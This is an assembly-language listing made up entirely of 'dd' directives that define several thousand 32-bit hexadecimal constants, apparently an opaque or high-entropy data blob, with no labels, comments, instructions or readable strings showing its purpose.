dd 0EDC10B04h, 826F8E04h, 816BB96Eh, 880620B7h, 345B925Ah
dd 12A6E957h, 13408A1h, 46F4C002h, 62794074h, 0AFA4BD0Dh
dd 0F1B3B52Ch, 885A6425h, 0CE59CC32h, 0B6EFAF1h, 111061EDh
dd 1F6F9903h, 8FEEC735h, 0A1DD2AA2h, 206A1149h, 0C010993Dh
dd 0C1BA028Dh, 400ED72Fh, 2E7AADA6h, 31B4A42h, 0B860D84h
dd 240B870h, 95EC7880h, 0F2B04FE3h, 30ECD0C5h, 40E9C217h
dd 0DE01C541h, 2861295Bh, 602E7561h, 0EB0558C9h, 4D5C0D72h
dd 129F1C23h, 81E174D7h, 0E9A30343h, 0D820278Fh, 0CF6897AFh
dd 4582F838h, 62F12C0Ch, 0BB002506h, 14F914D5h, 0FDD3F712h
dd 2E11F4Ah, 1F9E5813h, 0B8072275h, 0F8290223h, 0C510E1h
dd 5805CB81h, 0D948484Eh, 0F7C02E3Eh, 205ADA4Ch, 15916C6h
dd 3063ECDFh, 31FD6195h, 6F09E067h, 4EDBF0D9h, 0A57DFC99h
dd 4EBCD818h, 2F4EF750h, 160F785Ch, 612FD668h, 0AD8CED07h
dd 0B096405Ch, 32F195A8h, 0E03EC980h, 9C886837h, 3FE90B5Eh
dd 55526860h, 0B8805A5Bh, 4A075F6h, 0E9D5316Ch, 6851D02Fh
dd 0E69D3D1Dh, 4F3A0918h, 40804EB7h, 63953BF6h, 61342E9Fh
dd 36AF5193h, 0FA616860h, 0E92A0986h, 5D65208Ah, 0B726E3A6h
dd 171C5E4Bh, 20BA813Ch, 42827BC1h, 384EF059h, 0E33097B4h
dd 0FCCB8016h, 0E02813B0h, 0F1F2A408h, 56F6BA25h, 28F303A1h
dd 223B59CBh, 0B8A14BC9h, 59AD06D6h, 312E7F2Dh, 36205150h
dd 58321729h, 12481760h, 1E61AAFAh, 58022D81h, 2545562h
dd 535B026Fh, 3F127557h, 7D3F537Bh, 51814AE4h, 177AB5D9h
dd 0F8BD98ACh, 7CC0C882h, 2D54829Fh, 0B79FC669h, 0BBA14D60h
dd 5140B6B6h, 3B25250h, 80EAD057h, 0E298CECAh, 0C248FE3Ch
dd 0D7B424C8h, 3D84CC13h, 11022AEh, 20298540h, 0DE7B1ABFh
dd 0BFC5A57Bh, 0BB917B27h, 0BE1930B6h, 2D16C497h, 3CA934C1h
dd 21451E02h, 0C214B754h, 378E4008h, 0FD64A855h, 0EDE62AC6h
dd 0BC50F194h, 82F341A3h, 1FF23F5Ch, 860F7F0Dh, 1DE118D7h
dd 91821CEh, 8F56732Eh, 0F0106432h, 7F182F0h, 0BDA11AEAh
dd 6B66C331h, 4340BF0Dh, 1F90016Eh, 60558734h, 3C1E2091h
dd 0EA17764Ah, 4A56DEB0h, 84B8E9FEh, 0C0162129h, 0EC886413h
dd 0C4D4F680h, 0FFB00EF0h, 72F00929h, 523594BBh, 0C92841FEh
dd 1842BF20h, 2B8DC8E9h, 10B502ECh, 0B207CBBh, 0EDFE9EAh
dd 0E1FCFE2Bh, 0D46E580Bh, 70D1C91Fh, 74DC72C1h, 4B2FC7F9h
dd 0E47E4F9Fh, 0E9030630h, 25009654h, 0E8A43F71h, 0E9E7A127h
dd 0D16B8AA2h, 3DB908E2h, 3737DFB0h, 4C1495F2h, 0E2B62739h
dd 6F2062CCh, 0F12812B5h, 3E98F85Ah, 139D7DEBh, 90B28F14h
dd 0F0C78923h, 0A4E0836h, 5D02A43Eh, 559C7EE9h, 0DF9C19E6h
dd 16164089h, 9A4D333h, 936639D4h, 55E4B00h, 31C4356Ch
dd 5023182Bh, 255850F7h, 3913DC70h, 59E84074h, 0F8A254B2h
dd 71FCF301h, 69667E69h, 253BFCDBh, 550491F9h, 92C8E2Bh
dd 90A30DE9h, 0F05EA25h, 0FE2978CEh, 3A7E55A9h, 97C8F097h
dd 12B95839h, 9D3F03D6h, 1CE60B5Dh, 806AC945h, 0A83BFD58h
dd 962D7B7Dh, 843044A7h, 0C36813E3h, 8473C92Ch, 0DF8E9F8h
dd 4C0F4B4h, 1197472h, 480810F9h, 50B260ADh, 0EF5ED05Fh
dd 3B48EF79h, 0ABEAC44Ah, 0E1ECD18Dh, 24DABAD9h, 52655934h
dd 80258C1Bh, 0EBE3180Ah, 2FBD1316h, 0D9619131h, 44D826A2h
dd 5B2A68AFh, 0E92F1D69h, 0D1806041h, 598299E6h, 17133AC4h
dd 0F24B488Ah, 67762452h, 5149BA6h, 607E0BBFh, 0E69502E0h
dd 42AF5622h, 0BA515455h, 0B8427568h, 97350041h, 10752847h
dd 0A61E1A02h, 7C012D6Ch, 3774195h, 0CD8E20ADh, 0D321780Ch
dd 9008841Ah, 0C0609A0h, 0C004761Fh, 8F38FF44h, 0BA81FF73h
dd 1D2934B9h, 0D6D0606Eh, 5CC14180h, 97A03E1h, 4EF9E7EEh
dd 67099256h, 0CD7E7C0Bh, 0D6F22ACEh, 29D25CE1h, 88791047h
dd 5809E84Ch, 8451DC30h, 3B18E4A4h, 16AEC253h, 863567Bh
dd 680BB303h, 0A244708Eh, 591555E6h, 9FBCE90Ah, 9CB14EA5h
dd 93310D0h, 72A0D8E9h, 0A0555B0Eh, 0F3BECE27h, 0C08DB440h
dd 310273E4h, 800D08ECh, 1BB760F4h, 8835B792h, 4BFACF0Bh
dd 34ABB827h, 0E9F057D4h, 75B25E4Ch, 0AD31EFAFh, 8FA687DEh
dd 370D0077h, 35724567h, 8029821Dh, 0FCA47ADh, 0B4D266E9h
dd 4079590Dh, 0F1C4D72Fh, 5DF0BC79h, 0E64A7537h, 1F7E1208h
dd 580C70EAh, 184A0368h, 0B5FBD38Ch, 36F4C509h, 0A86C1A59h
dd 87228458h, 9BF5C15Eh, 49475CCEh, 13935B04h, 0E81309F6h
dd 0A61E215Dh, 7E8205DEh, 0B8AEA0B0h, 2F819BEh, 68D9BF59h
dd 7342DE76h, 12BC0171h, 43F904D4h, 3CB5A197h, 6EDB4D4h
dd 4BEC6808h, 0E281E909h, 0FF12DD31h, 98FEC62Ch, 103B9581h
dd 4620A8E7h, 0C911C9A0h, 89B9A416h, 0BE4AE60Ah, 0E3C189h
dd 0DCEC3B3h, 303D7E2Fh, 0ED1DCB57h, 2A984505h, 0AB95A20Ah
dd 925C601h, 0F604756Eh
dd 0B2A0870Eh, 14D74488h, 9C05F849h, 685102ABh, 0D79841CCh
dd 8816F3B4h, 0C00F58E1h, 0FE1A209Dh, 60E8C0C8h, 2C060605h
dd 0C10430CEh, 0BDEB8058h, 0CB28E703h, 6DE7C75h, 18D5D1E5h
dd 0D601F170h, 0F27A5A73h, 0F32A3C27h, 92ADBD94h, 0F6DEDF09h
dd 0CFD5E0C4h, 0EB8E4BAEh, 0D0681EA1h, 5016675h, 2AFE2F82h
dd 0C66E67A1h, 429813C6h, 4B242CB0h, 3D0B0F22h, 680D30D8h
dd 8F51E706h, 2D6B8CE3h, 0A5552EF3h, 50ED9364h, 7523A089h
dd 7202D8F7h, 4B823090h, 133DE47h, 1176C4E7h, 0EBC701Eh
dd 3B05221Fh, 299FEF07h, 87E90651h, 0AC4A2928h, 0F70DD81Ch
dd 200B97D6h, 2BE523A2h, 0F50B674h, 0E0C85BAFh, 854BD1ACh
dd 0E15D88CDh, 982586E1h, 926E8A01h, 0E0BB5300h, 200414B8h
dd 5E5BDD01h, 68B702AEh, 195527F7h, 0DD3E74B9h, 5C638DCEh
dd 84BC14D3h, 0CA8379C2h, 0BAEAE898h, 0A7201445h, 4601AA3Dh
dd 0C13F6B47h, 2D6A78E2h, 7FDAA9h, 0F8F9BFBAh, 6457B951h
dd 0F743AF0Ch, 13AACD1h, 0C13ED523h, 214B02EBh, 805DD29Fh
dd 0FE15F3D1h, 0BCF94B46h, 0EEB35E54h, 66828B91h, 0AD64BB0Fh
dd 50BD3160h, 753929B8h, 670CB5D1h, 513668Ah, 5A074780h
dd 42962624h, 1CDF092Ah, 0C25E2A72h, 3079A26h, 3E80F181h
dd 4829E7F9h, 0BB848FC8h, 34EE1216h, 0ED0D844Ah, 0AEE91645h
dd 5A2C42E0h, 0EA8D897Eh, 0CC81421Ah, 6DD295E8h, 4BEA2D06h
dd 13727B15h, 0F4AD2BE9h, 0B4BAF9C2h, 0F20524Eh, 0B7D78957h
dd 0EA64D58Ch, 30617601h, 0E45BE938h, 1069F79h, 46024E10h
dd 0C3B82097h, 76F325CFh, 0CCCB0963h, 3C8F0358h, 1F40BE21h
dd 6A8D4072h, 2C09202Eh, 6631FDE9h, 4B990049h, 0F78114ABh
dd 0A448160Ah, 875C2441h, 67D6BD81h, 0A97424F4h, 17F50281h
dd 1B2AA6Dh, 0B82462DEh, 0F68B52AFh, 24697CDh, 5746E295h
dd 2B88B3C5h, 0E6810044h, 1BF85441h, 1FC3D15Bh, 451A3B1Eh
dd 0C89DD612h, 68975970h, 11B6871h, 5B5D6E0Eh, 6E38E943h
dd 24F61113h, 0F060914Bh, 774789D1h, 52EFD63Ch, 0E9435051h
dd 0DCABD463h, 0E14FF718h, 53C979A6h, 75982800h, 893A7159h
dd 0F65028CBh, 8331B000h, 42E2D14Bh, 76EA67C1h, 7D29E1CAh
dd 0ABF2D844h, 0F35CE5EDh, 0E9F3D8F8h, 8889D92Ch, 1CDDBF01h
dd 297119B8h, 64F25721h, 397C0B1Ah, 0B1D479D6h, 0F65E3782h
dd 81E05D1Ch, 0F8044BD4h, 0FEE6E983h, 1484AD9h, 7D251648h
dd 5350167Ah, 2DC24999h, 0BA4B02DBh, 0D2EA1060h, 0F8218025h
dd 65D02397h, 0BE140013h, 5A9B0C57h, 0BD253B9h, 112A6A8h
dd 841CEDCEh, 5ED9999Ch, 0BE08A2Fh, 0B05A7268h, 80831778h
dd 53ABA66h, 3E6F4C35h, 0EA0A61C1h, 29F85138h, 0E95A12D5h
dd 21D4C13Eh, 0FAB52ED3h, 1AF9B241h, 5B2930CCh, 0C09D64D8h
dd 702F136Ch, 96A4055Bh, 0CC8E4F1Ah, 0B5F1949h, 524CB4CBh
dd 6CC51425h, 2882BD08h, 0B8194A67h, 3412D093h, 7EED405Bh
dd 0AA283A12h, 93FBAA33h, 87084FDFh, 0E7098BCAh, 5F7685D0h
dd 0E9D2132Ah, 534B2E90h, 0B5B2E2h, 4C22F061h, 0F7984901h
dd 0A1BFBECBh, 432D90B4h, 3FEEF730h, 472A4E07h, 54ED9FF0h
dd 902F325h, 0E9198243h, 0ECFA485Eh, 384D36EFh, 30110DAFh
dd 0F22EBC31h, 990DE41h, 0B6525A00h, 280704A3h, 0D051F02Fh
dd 0B4E1099Dh, 742E9D0h, 52253A2Fh, 0EF8C52B1h, 1E61D041h
dd 1B610214h, 0EA57F603h, 0A1A07D69h, 5F282DF5h, 0EFB02F5Ah
dd 0E0F44F10h, 5977AFB3h, 1018404Ah, 0CA0FC12h, 0CDE9EF2Eh
dd 0D83C0175h, 29CF2653h, 27E4AD9Dh, 94CD903h, 0E8F7B20Fh
dd 0B7081F65h, 0BBD7809Bh, 0A47D5132h, 9EAF592Fh, 0D65525AFh
dd 2F4CE06Dh, 0ED7ABD08h, 29219806h, 9DA58C5h, 3C10191Ah
dd 3D7E7550h, 3008C39Dh, 83F002D2h, 0CB4DDE4Fh, 3FE140F9h
dd 5B636EB7h, 5362B4D2h, 0E358140h, 433F7BC6h, 7765F2AEh
dd 0ABED8278h, 2974C92Eh, 708F778Ah, 0B51EB1C4h, 8DECB8Bh
dd 0EE4DDAFAh, 0AD543B76h, 2A8720Ch, 4C423868h, 56E85E61h
dd 7EC0F23Ch, 7EEDCCC6h, 16564E20h, 504FFD3Dh, 0CA5AA58Ah
dd 31131DF3h, 0C46CECC0h, 4BAE8F88h, 37E2E7D4h, 7968DB40h
dd 3BF3185Fh, 0E880885Eh, 0E00AE16Bh, 253326C9h, 0C3490607h
dd 0F7042ADFh, 2DC2C040h, 983A43EFh, 63113146h, 90DA0C4Eh
dd 376582B5h, 32798BA9h, 0C05BEAA7h, 82B32AD0h, 0FCC0A77h
dd 0BE340706h, 961F201Ch, 69965550h, 682513B2h, 8A107E58h
dd 427F9264h, 12D4807Ch, 42A6094Fh, 0CB1E56C3h, 0C7104889h
dd 0CB9DE1F6h, 0D368A0DBh, 0E8E95F62h, 449E71CDh, 8501FD52h
dd 4CA35AE9h, 371F3A93h, 0F117352Bh, 7225A5B0h, 33E61E24h
dd 0CC54C948h, 524BBFCEh, 5D662902h, 870564Bh, 0D81607E7h
dd 0F137010Bh, 526A0234h, 0AA856771h, 41AADDCh, 68322C65h
dd 74C81A80h, 2235A4Eh, 479802D4h, 8103CFC8h, 0B0CE207h
dd 226F511Ch, 413BAD9Ah, 8F41D69Eh, 67025EEh, 0F4295043h
dd 76312F68h, 0EA4CE898h, 181E017h, 9DFB65E0h, 232643D3h
dd 667F27AFh, 17C36E59h, 0BC785368h, 581ED172h, 0FBBD4A2Eh
dd 0EEF4AFCBh, 6C7F8F42h, 0A6E7207Ah, 0F1537B9Eh, 5B02221Bh
dd 25BC3F6h, 2DDABE40h, 0FD61687Fh, 6DB32008h, 8F881851h
dd 0C65B1C0Ch, 90E4E25h, 0D0F4158Dh, 773A4F00h, 81987DA7h
dd 5FC48754h, 0F360EE9Ch, 486203A5h, 0B4EF738h, 0BB98337Bh
dd 0E3B78864h, 59D33B00h, 1E614A25h, 0D4E9E72Ch, 636B23A2h
dd 232196Ah, 0B466B920h, 0D980AF7Eh, 4CE1254Eh, 0A8CE2934h
dd 1590802h, 614F7EF7h, 78F329E9h, 9168C296h, 8898A25Dh
dd 7712FD15h, 21FC4FCCh, 171CC253h, 5530380Bh, 0BC5E5456h
dd 0EBD9C747h, 0D2E49376h, 9D39E5B4h, 0F5BD0480h, 785FDE64h
dd 0E5309BF1h, 0C751262h, 3D261E77h, 0CA008D1h, 0EFD2D217h
dd 125CD47Ch, 0A2E4CCE9h, 0A7F45B13h, 17AB6B11h, 2E4CB5D4h
dd 0D88E9791h, 1A62FCD7h, 75287E57h, 0B6980634h, 5424C867h
dd 69D57E5Bh, 47FA338Bh, 4BB7A298h, 550C01A0h, 0E9619414h
dd 0BBCD3427h, 0DB11A112h, 92C33600h, 0C16B2C1Bh, 72D2FF2h
dd 82122EBAh, 54F4CDD4h, 51A74C65h, 8A58E4F5h, 31B3BE5Eh
dd 0A7E8C52Eh, 71A049B4h, 331663EDh, 0CF212947h, 0B440558h
dd 0B0F549FBh, 0BBFDACC3h, 84346C14h, 45ADD25Ch, 0BBFA75D3h
dd 7056D609h, 86E0B732h, 88807DA0h, 3BD0E4DAh, 0C7175B5Ah
dd 2187A158h, 3E18EDB8h, 0B529442Ch, 92519242h, 0A885ADA4h
dd 8E00D164h, 0C91428C7h, 0EEF7EC4Ah, 9055FE5Ah, 6FB64912h
dd 5B2554C4h, 5D5ABA50h, 88539B8h, 62354630h, 4E3C128Ch
dd 0F74C9055h, 7A722B65h, 89D7E917h, 54C498F8h, 0F8CFABBBh
dd 0A9223313h, 0D69A9113h, 0DE591D04h, 8304FD14h, 0C00C3C5Eh
dd 10CE8AFBh, 5E16774Eh, 9606ECB0h, 244B3C1Fh, 9A31BF3Ah
dd 70112F63h, 0DEE2782Dh, 20FEA352h, 96802D0h, 69894853h
dd 31B20449h, 20BB34EEh, 3A793FCBh, 0AF056E02h, 550B8A21h
dd 0A150DF04h, 1B26400Bh, 2609515Eh, 720C81E9h, 0A8C52073h
dd 80FD281Dh, 856610C9h, 4AACD4C3h, 0ACD6E9C5h, 7B694291h
dd 16EAC635h, 0FE16DEADh, 0D6C1B82Eh, 0A78C2104h, 14C179BCh
dd 2F3A5069h, 65EEB8C0h, 7A912E3Dh, 38FE0370h, 1803498Eh
dd 1A40471Fh, 75C4B429h, 6E650813h, 2C546EAh, 0BB9864A5h
dd 72F256ECh, 0BF710095h
dd 7ACE42A7h, 5435F13h, 0AF6C0151h, 7AB1B030h, 0A8614877h
dd 4D386C4h, 32D85854h, 7555012Dh, 0B3E923E5h, 66149307h
dd 1A794CF8h, 602E2C0h, 0D350D605h, 0B8AA5893h, 9ABAF4E4h
dd 37F7ED07h, 0E56776A0h, 3DC45741h, 1324F5F0h, 0BC088044h
dd 830288B6h, 27D8E952h, 40BA0D02h, 706F7061h, 39449548h
dd 3524C509h, 0F312A8FDh, 28E68308h, 65A01570h, 0C22DD723h
dd 55E62421h, 0F281C889h, 3468EF1Ch, 615B7C72h, 18801693h
dd 4D765A88h, 1A9DB5E9h, 15027572h, 7C6CAC71h, 0BB02794Fh
dd 667EEC68h, 6B4C94E1h, 0ECC0AB04h, 97AD9293h, 0AD385062h
dd 51B4B566h, 0EFC3C8CBh, 0E1719509h, 0BEC247A5h, 2B786D5Bh
dd 50218F2h, 15805D11h, 9835A048h, 463F409h, 778C8901h
dd 0E14EA812h, 0D2685701h, 5F5D1218h, 819C026Fh, 0D5E016EFh
dd 0F526E919h, 0FA84B6B5h, 0B8C7505Bh, 5A58C361h, 4FE9DDE8h
dd 0F81895B2h, 7C84C9FFh, 0E07413EBh, 680E0D8Eh, 84735F13h
dd 16A22DAEh, 0A9BE5600h, 0E95B0664h, 1AF6732Dh, 7B1DFC7Ah
dd 0BC020C22h, 91BA63D9h, 0F04C8F64h, 73C96806h, 9D61EE95h
dd 50C5EAD9h, 0F51F2844h, 0FA06F310h, 0C133357h, 3F79B705h
dd 0ED87456Fh, 97D74E79h, 634945A0h, 5B4B4471h, 0DA3F8ACBh
dd 0B3A4116h, 955E39D0h, 0C64DACBBh, 0EF0BE7ACh, 7FB56484h
dd 16134B50h, 65D6EBB9h, 5B0769A8h, 0EBD19981h, 7C08C9C1h
dd 7D6809ECh, 4A8C9A45h, 0F9165DAFh, 0E907095h, 40E64905h
dd 0AAE9817Fh, 40746803h, 7F0D6DBAh, 1A411530h, 32DB0848h
dd 217631F4h, 20E5E477h, 5B7E0A8Dh, 9091C35Bh, 56918AFh
dd 3826ABD2h, 68870C90h, 1BD76DE0h, 0AB05E3h, 0C0FD2C50h
dd 439601B7h, 9A4223AEh, 0EC50986h, 0AD311127h, 0FA084BCAh
dd 0B9540457h, 0E4DD1042h, 79320848h, 97286C0Bh, 88F158C5h
dd 76D4EE31h, 0BF265C49h, 99010F07h, 43F3602Bh, 0FA4CB075h
dd 0EC705FFh, 0CBC45048h, 4A1B5880h, 0F7600C18h, 1FD642DAh
dd 4F9FA700h, 0B8E9D629h, 8B049E16h, 0F44CA468h, 8180B3FCh
dd 3BC30DCEh, 0C1565AA5h, 314860F9h, 0F7898DA0h, 47C9397h
dd 33E95FB9h, 2556ADA6h, 79128B1Dh, 0D5E9597Eh, 16F23E8Dh
dd 384CE9A1h, 964E30A9h, 45B5846Ah, 8A527E05h, 3833A01h
dd 3E703D3Bh, 9EA89E11h, 0C494093Ch, 5CDA7F7Ch, 789D438Ah
dd 3CC79539h, 0BF9A7FEh, 0C9F04BA6h, 5F65AA3Dh, 0A23A972Fh
dd 5CD9FCE1h, 315DA099h, 8F1FC03Bh, 2550F209h, 2A0093F1h
dd 0C3813883h, 9311A99h, 2F0AE91Eh, 58C01C54h, 8053B268h
dd 0F1600BE9h, 262DD077h, 27C62760h, 0CB686A98h, 70CD515Bh
dd 59B995F4h, 0DA9E1B75h, 0B589F7E8h, 6045C941h, 11176A13h
dd 5CA8599Ch, 4B055310h, 8D107F4Ah, 0EAF8692h, 0EA601867h
dd 28122C4Ch, 4804D03Ah, 92F83A2Ch, 0C1305BEEh, 74566866h
dd 8399144h, 0E5258CABh, 77E30C86h, 9CB0211Ah, 0B1A569B4h
dd 2FEBAEh, 5C192523h, 350A5443h, 0BD40500Ch, 98A88213h
dd 9B2B57CFh, 84D7E062h, 1413B331h, 6E044B61h, 0ED29D353h
dd 69CD30DFh, 16B54BFh, 0F78127B8h, 92A54C3Fh, 73A24420h
dd 3D2C0332h, 48048A7Eh, 0CCAA757Dh, 0B909BAF8h, 803C613Fh
dd 0CC1660DAh, 0D14A4866h, 4B76CA1Dh, 0F58031DFh, 44D20510h
dd 24F3E924h, 1AD16884h, 5C567EF3h, 3A293B04h, 8BD4BA77h
dd 0F4A80817h, 0CEEE83B4h, 0F901B71Dh, 30C06BD2h, 0E7D0F797h
dd 1FFCCE60h, 0D346988Bh, 0EE81F447h, 29245909h, 62CF0033h
dd 0CF55B94Ch, 0D84F5F18h, 7E50EB93h, 9D05008h, 76046118h
dd 1206AFE4h, 82C14A02h, 0E54AAC89h, 0AB71607Ah, 9684D082h
dd 4BD1C5E1h, 98D95BF3h, 79AF360h, 0E97516D1h, 0A6CAECCBh
dd 342A094Ch, 59DC7947h, 5DB008A0h, 0ACE96ACFh, 9EA2F1Eh
dd 68920825h, 6BCED100h, 87A1DB13h, 0C402A8Fh, 15012699h
dd 5BDE2621h, 0EA402553h, 0C526AFE3h, 0C225EEE7h, 69FA71FEh
dd 0BD78DCD0h, 0EAD22726h, 6B32E50Fh, 4E476458h, 10FEBD06h
dd 0BD4DB498h, 21DDA05Ah, 0B6669D40h, 0AEB49E36h, 62E8ADD5h
dd 0E5022D5Bh, 0E949A023h, 3E17FC68h, 9D767D75h, 72AF3AD3h
dd 0ACE7F470h, 0C18FA29Fh, 562C96B3h, 9242A293h, 6C2FF5A6h
dd 200CCF5Bh, 15563EC9h, 0EB7A2368h, 0A3094416h, 8FBF8093h
dd 0B632FE1Dh, 0D5E3038h, 651E5519h, 7F00F181h, 0CF09153Bh
dd 24D459h, 28225548h, 0F967EEC9h, 55DE8B89h, 7E09F646h
dd 0D51D8E0Eh, 9B58248Bh, 1D3072E7h, 0CE7A5453h, 259CD4A3h
dd 8B6F29F9h, 0B7D7F0C9h, 2C4045EEh, 92B9EBBh, 0B4004F5Ch
dd 0CF7F23E4h, 0EC585B90h, 0B5D9927Fh, 6DF99CAFh, 62855D69h
dd 20C52D55h, 6880B2CFh, 0B37962D9h, 94557EEDh, 0B6045E15h
dd 207358E8h, 6A5A6BB5h, 0FEA4E4DBh, 31751208h, 7BF1099Dh
dd 0BFAC8C0h, 0C5860ABh, 0A8F57467h, 0A42FE919h, 37F492Eh
dd 0CB27F135h, 5BD69082h, 0E994C027h, 25279E8Eh, 55C44BF9h
dd 18331EFh, 0AE19C87h, 0A15D5B27h, 0CF8F8968h, 7E51CFDCh
dd 0FC695475h, 0F04B4ADFh, 0D417BC44h, 0DD2FB9D3h, 0A6C8EE94h
dd 2C5A5831h, 8C748117h, 0EB41720Eh, 4018F03Ah, 39661F40h
dd 4EE1E6D1h, 20534FD0h, 5266F315h, 0B06DA08h, 9367E9D1h
dd 0F197BF64h, 674E1972h, 4B057801h, 4BACC050h, 5A8A8AA2h
dd 65CEAD89h, 13F8E912h, 70A79944h, 0D64E5AA3h, 68120F97h
dd 0E2E30B31h, 91070E13h, 12AE8BFh, 0E23BFA01h, 7A76CB3Bh
dd 27FA77A5h, 9D1B95Ah, 54E953E1h, 88173978h, 0AA870BF8h
dd 49FFE31Bh, 0CE1E4B63h, 4F596B2Ch, 0DFF95D4Fh, 0E52D652Eh
dd 0DA1FCC59h, 52E9CD29h, 0BFD07325h, 112B7999h, 60E84502h
dd 0E95F5993h, 9501955Eh, 0C38009B3h, 0FE21D7DAh, 0E8D3F66Eh
dd 885EA9EBh, 0E59B64A0h, 4CC4CE3Ah, 50732012h, 39C6B42Dh
dd 24FC890Ah, 8971C51Ch, 5B9947DBh, 4ABAE450h, 58077D1Eh
dd 41C4C19Ch, 539797E9h, 6ECE686h, 9C1FA0CEh, 6A43424Fh
dd 16BE5600h, 0B901766Dh, 54498A02h, 0EA9EE906h, 92195604h
dd 255F2753h, 8510BDC0h, 74EBB6ADh, 0A4C8EF88h, 0BD594B54h
dd 97BF9F42h, 0B623B2C4h, 0F1AC958h, 0E30B4E7Ah, 0D5861ED3h
dd 552D96F6h, 4ABBC179h, 15EC34C5h, 8BE4DF84h, 2EA518EBh
dd 2F685D0Ah, 8E183AFDh, 0FF8292A0h, 4BE16C29h, 5C9596F1h
dd 92165AF9h, 4CE0B29Fh, 7C972C52h, 36B96860h, 1735FF8h
dd 7C94832h, 7CF1FD8Ch, 0BBB5D270h, 711678D2h, 595B3203h
dd 0B3C65A25h, 4B65161Dh, 0C00B4057h, 759B89E9h, 8193BB1h
dd 57724055h, 0D51F0490h, 0A7E8F618h, 7FAF9A55h, 0E62D098Ah
dd 79596387h, 2E486DCh, 0F30FE942h, 92890EF1h, 0BF6459F1h
dd 0F20181FDh, 41FC3CC2h, 1AF0BB01h, 0CBF134BAh, 0A5AEECF0h
dd 20E728CBh, 5D18B197h, 8612CF01h, 17539F32h, 96419D08h
dd 0FE859C2Ch, 0C5F7AA52h, 30FBC525h, 0CA5BDACEh, 324D367Dh
dd 0CD765BB8h, 6C7E52A2h, 0AE934012h, 0D84CC39h, 0BFF2685Ch
dd 3DB5A5CCh, 0ED9D6688h, 86153208h, 0F6E9405Dh, 0D3066D2h
dd 0E92A0932h, 0C1B5E904h, 0FB40561Ch, 51394B92h, 0DB65B566h
dd 0CADE5038h, 0A4DB7160h, 0E956581Bh, 6EA0532Dh, 9FBAA03Fh
dd 69DF3E22h, 0DD65C500h, 0EA299620h, 8C265D5Eh, 0B65200B2h
dd 5AF188C3h, 281D972Ch, 0E82D04C8h, 25E95429h, 3946E4FAh
dd 0CD867198h, 67EE099Ah
dd 345160B6h, 3E16E301h, 6C6401CDh, 24636973h, 0B135FE87h
dd 2105E276h, 37B1CC7Eh, 0C2FE4D71h, 0C97F739Fh, 870A84h
dd 2F62C3BBh, 825ABC09h, 4DFB32D3h, 1AD5EB42h, 5B0C0144h
dd 1B422D58h, 62D1D05Fh, 0BAE97308h, 28E03ECAh, 60821A64h
dd 2F186620h, 0E7E261DAh, 3FD15361h, 81013DB3h, 897951EAh
dd 0D1D96E4Ah, 243A4131h, 93D5012Dh, 6F54CC6Ah, 85F56447h
dd 0F76F9FC0h, 0C0398D5h, 162342D8h, 151DB1FEh, 0CA867EB5h
dd 0F87C2095h, 501C1CE2h, 0F203BE10h, 4F306D3Bh, 3A25A2F1h
dd 41AA2198h, 0C055E695h, 482C68F8h, 3CDFB825h, 0E97BB482h
dd 326AC1BCh, 3020A61h, 0FFBBE25Ch, 0E0E1BA27h, 592DA3BFh
dd 61B680BDh, 748BA6D2h, 0E0F84DE9h, 0D146476h, 0B8EBC45Ch
dd 64BBC469h, 0E99A9CBEh, 67789F25h, 0DA2E3F20h, 0A6BE8335h
dd 0C0BC4C17h, 343225BFh, 0F0315D00h, 5C98355Eh, 595678DAh
dd 218BDBC2h, 0F115A484h, 243647AAh, 0FFF1C1D8h, 0AD62EC35h
dd 42E96412h, 0F746B4C0h, 0F68105D6h, 81773810h, 7AD52CB1h
dd 0A6689021h, 0CEB1C52Ah, 54562758h, 6A3F003Ah, 8345E937h
dd 0ACB60483h, 0E0414219h, 7C703D9Eh, 20FD594Ch, 5E09D73h
dd 0EB0481D3h, 6D0CB822h, 1ADC0280h, 943EF318h, 40813F8h
dd 76F485Bh, 0A875E188h, 0EC4EABB8h, 0BC69B1C8h, 4BC78B82h
dd 24E1FDDDh, 3E8421FEh, 59CD1701h, 0F60ED83h, 905B9F2Ch
dd 469141Bh, 2A7855BCh, 86EC807Ch, 0F7E48A37h, 0AA68D90Ah
dd 176A8E5Dh, 3D7FDC02h, 985F761h, 0C400BE29h, 0BA49B5E1h
dd 268A983Bh, 922D7Ah, 0E566A535h, 70B82964h, 5003494h
dd 77261AB4h, 6572092Dh, 88773553h, 503E071Bh, 0A65FE911h
dd 0FBBE9100h, 0B70A0607h, 0FDD5AD69h, 3BF97224h, 51397E0h
dd 5B01199Ch, 95E398C3h, 0FBD2340h, 45EB5541h, 0BBCFFD44h
dd 299BC044h, 47549DEAh, 28808FF4h, 89F7E969h, 2570C99Fh
dd 0BF56132Ah, 59E9493Ch, 3375C1E8h, 430A6E5Ah, 78AA36D9h
dd 0AFB49718h, 0F450B554h, 48D8305Fh, 5B83A918h, 26BB2BACh
dd 34B58180h, 2FC1C380h, 0E7620CC1h, 0D72BA0h, 26A35C9Ch
dd 694F781h, 2C0E24Eh, 9D697E7Dh, 7FF9A981h, 9363E680h
dd 6D052804h, 0C2AE4160h, 0B2D7521Eh, 79004159h, 0EB59D03Bh
dd 0D8FF4003h, 760E82EDh, 52E9680Eh, 9DE07ACh, 13D5C378h
dd 3397F9DFh, 6F616224h, 64450A1Ch, 2969EA05h, 1718C3Eh
dd 8084DD82h, 0C2C012F4h, 5F3D0429h, 0F638A409h, 0BCA9D00Bh
dd 0B9656C7h, 855684E2h, 75B86D62h, 7092646h, 8003D605h
dd 0F40DE2E1h, 2C6A031h, 4DC4B576h, 231E6C0Ch, 47BFE67h
dd 0E9397727h, 4862FC89h, 17C90E06h, 0F7480211h, 838840D1h
dd 6C2D0134h, 0A54EE0Dh, 10C76B12h, 0E6059880h, 0E8D12F17h
dd 7009EE50h, 29CFED8Fh, 52450099h, 0B56AC51Fh, 8045F6Ah
dd 0FD30AB59h, 2C31AE68h, 155206F1h, 0DF5E6DBAh, 0E95109E0h
dd 0DC26A941h, 0C156C5A2h, 3F1BB41Fh, 1D12CF97h, 0BBD34015h
dd 737A06C0h, 4D58E97Eh, 902D660Eh, 4B058F5Dh, 0E852066Bh
dd 0F70FDE16h, 0DE9111Eh, 44B23ECDh, 7BD0448Bh, 0FE7696BDh
dd 0B579921Eh, 0C6A5C353h, 94E0361Eh, 12A1C843h, 0C637A698h
dd 0E30AED20h, 0ADC839D1h, 602F8200h, 0B6B0E903h, 54310908h
dd 2B5A7619h, 0C2171BE2h, 80B2F8B3h, 0CF0ACE05h, 5A00B579h
dd 3936EBBBh, 0CB811400h, 66500910h, 4497904Bh, 2C0BC6E5h
